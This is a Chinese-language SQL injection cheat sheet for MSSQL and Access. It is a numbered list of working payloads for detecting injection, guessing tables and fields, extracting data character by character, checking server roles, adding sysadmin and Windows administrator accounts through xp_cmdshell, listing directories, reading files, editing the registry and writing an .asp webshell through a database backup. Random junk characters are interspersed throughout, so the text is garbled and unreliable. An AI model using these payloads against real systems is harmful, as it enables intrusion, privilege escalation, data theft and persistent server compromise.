1.判断是否有注入;and 1=1 ;and 1=2 [_j.pMH/P
2.初步判断是否是mssql ;and user>0 N i^pP@('
7<{Zq8)
3.注入参数是字符'and [查询条件] and ''=' #'z\[^vp
w&;\}IS
4.搜索时没过滤参数的'and [查询条件] and '%25'=' KM(U-<<R
nLkC-+$tM
5.判断数据库系统 ;D]TPBE
Bd m<<<
;and (select count(*) from sysobjects)>0 mssql ]\P
`A80""y:M
;and (select count(*) from msysobjects)>0 access X %,;IW]a
X4i$,$C
-tx)7KV-
fE)+9!
6.猜数据库 ;and (select Count(*) from [数据库名])>0 h bj^!0m
Uk ?V7?&
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Fg4eIE-/M
`Y.RAw5LrE
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 !0`ZK-nA6
#:Cr'U
9.(1)猜字段的ascii值(access) ika{>hbH
CNcH)2Mk
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 oG@P M+{
OY~5o&Oa
(2)猜字段的ascii值(mssql) KUH&_yCRB
e5fJN)+a
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 1aYO:ZPy
|#5JI#,vX
10.测试权限结构(mssql) !0Xes0gK0
xNxIqq<k
\"Sqr(~_
WF-imI:EK
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- X+iA"B
w/G5I )G
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- =]W{u`
[Z
Ea3/
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- drtQEc>qT
=NJb9S&8A
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- `j=CzZ*em?
Y/Y746I
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- "
I`YJEv
%I Y-0\
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- |Z 3POD"9
T_AZCl4d
;and 1=(select IS_MEMBER('db_owner'));-- NV9= ~cx
9M01}
Iobo5B
|k
4+I
11.添加mssql和系统的帐户 Mm.!$uR
zKV{JUpG
;exec master.dbo.sp_addlogin username;-- j?z(fs-
;exec master.dbo.sp_password null,username,password;-- >+oQxml6nI
sFS_CyN!7
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- k_}ICKzw1
\UB<'~z6!
;exec master.dbo.xp_cmdshell 'net user username password I[t)V*L9
U7x}p^B9\N
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- $$qhX]^~
N;[w`d'#
;exec master.dbo.xp_cmdshell 'net user username password /add';-- yx/:<^"-$
OgfQGGc
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- QG9 2^
O Zt 'ovY
~=c^Oo:
.Uih|h
12.(1)遍历目录 pbm4C0W}
aUA+%
;create table dirs(paths varchar(100), id int) +%gh?
5gJQr%pS
;insert dirs exec master.dbo.xp_dirtree 'c:\' 54}s:[O
hZzsZQ`
;and (select top 1 paths from dirs)>0 :EA,0 ,
oN _%oc
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 80+"
x3r
?=4J
! B)Em
+;>>c`{
(2)遍历目录 VJ1`&
D% 50
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- s@3!G+ -}
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 V@Po}
a<\m`
Es=
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 #vS>^OyP
pCg0xbc`
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 7x1jpQ-
_N<qrH^;
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ul% q6=f)
St(7@)gvY
x3M`l|
%
mIq,
13.mssql中的存储过程 PqP)<d'/
v=X\@27= ?
xp_regenumvalues 注册表根键, 子键 ?^@;8m
2oq>tnYyV[
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Y}Qu-fm
K):)bL(B
xp_regread 根键,子键,键值名 ) I5f`r=Ry
n
~
=]/
;exec xp_regread isDr|g$S
i-/'F
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 #U6Wv1H{Lp
fd)}I23Q'
xp_regwrite 根键,子键, 值名, 值类型, 值 .UJDn^@
G-;pMFP(?
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 CP={|]>+S
61wGIN2,
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @h$7C<
+i
K.+B
xp_regdeletevalue 根键,子键,值名 @s@r5uR9B
pG|DT ?
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 `[`eg<xj
&0N 3 p
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 [z Y9"B<3
t4 aa5@r
LdRLKE<'e
N b+zP[C
14.mssql的backup创建webshell RJSNniYr7
gIT"nG=a4
use model /oh[Nu1D
|*8 J.H*r
create table cmd(str image); 3ne=7Mj
R|5w :+=z
insert into cmd(str) values (''); =G*<WcR
sdrE4-zd
backup database model to disk='c:\l.asp'; ,.DU)Wi?}
HQ4o^ WC
'S&5zwrH
?n[+0a:8E
15.mssql内置函数 V>z8*28S.
&Tl3\T0D
;and (select @@version)>0 获得Windows的版本号 {:!*1L
X$J
;and user_name()='dbo' 判断当前系统的连接用户是不是sa "-\I?k
a^|mF#
z
;and (select user_name())>0 爆当前系统的连接用户 Pq !\6s@
4R}2H>VV%
;and (select db_name())>0 得到当前连接的数据库 Dy0RZF4_
VYik#n>|Gp
8BBuYY{
td{$c6
16.简洁的webshell ~
M@8O
Br;1kQ%e C
use model i.6c;KU
bm`x
create table cmd(str image); _@SC R%
PWmFY'=
insert into cmd(str) values (''); zGA1
qN[U|3k
backup database model to disk='g:\wwwtest\l.asp';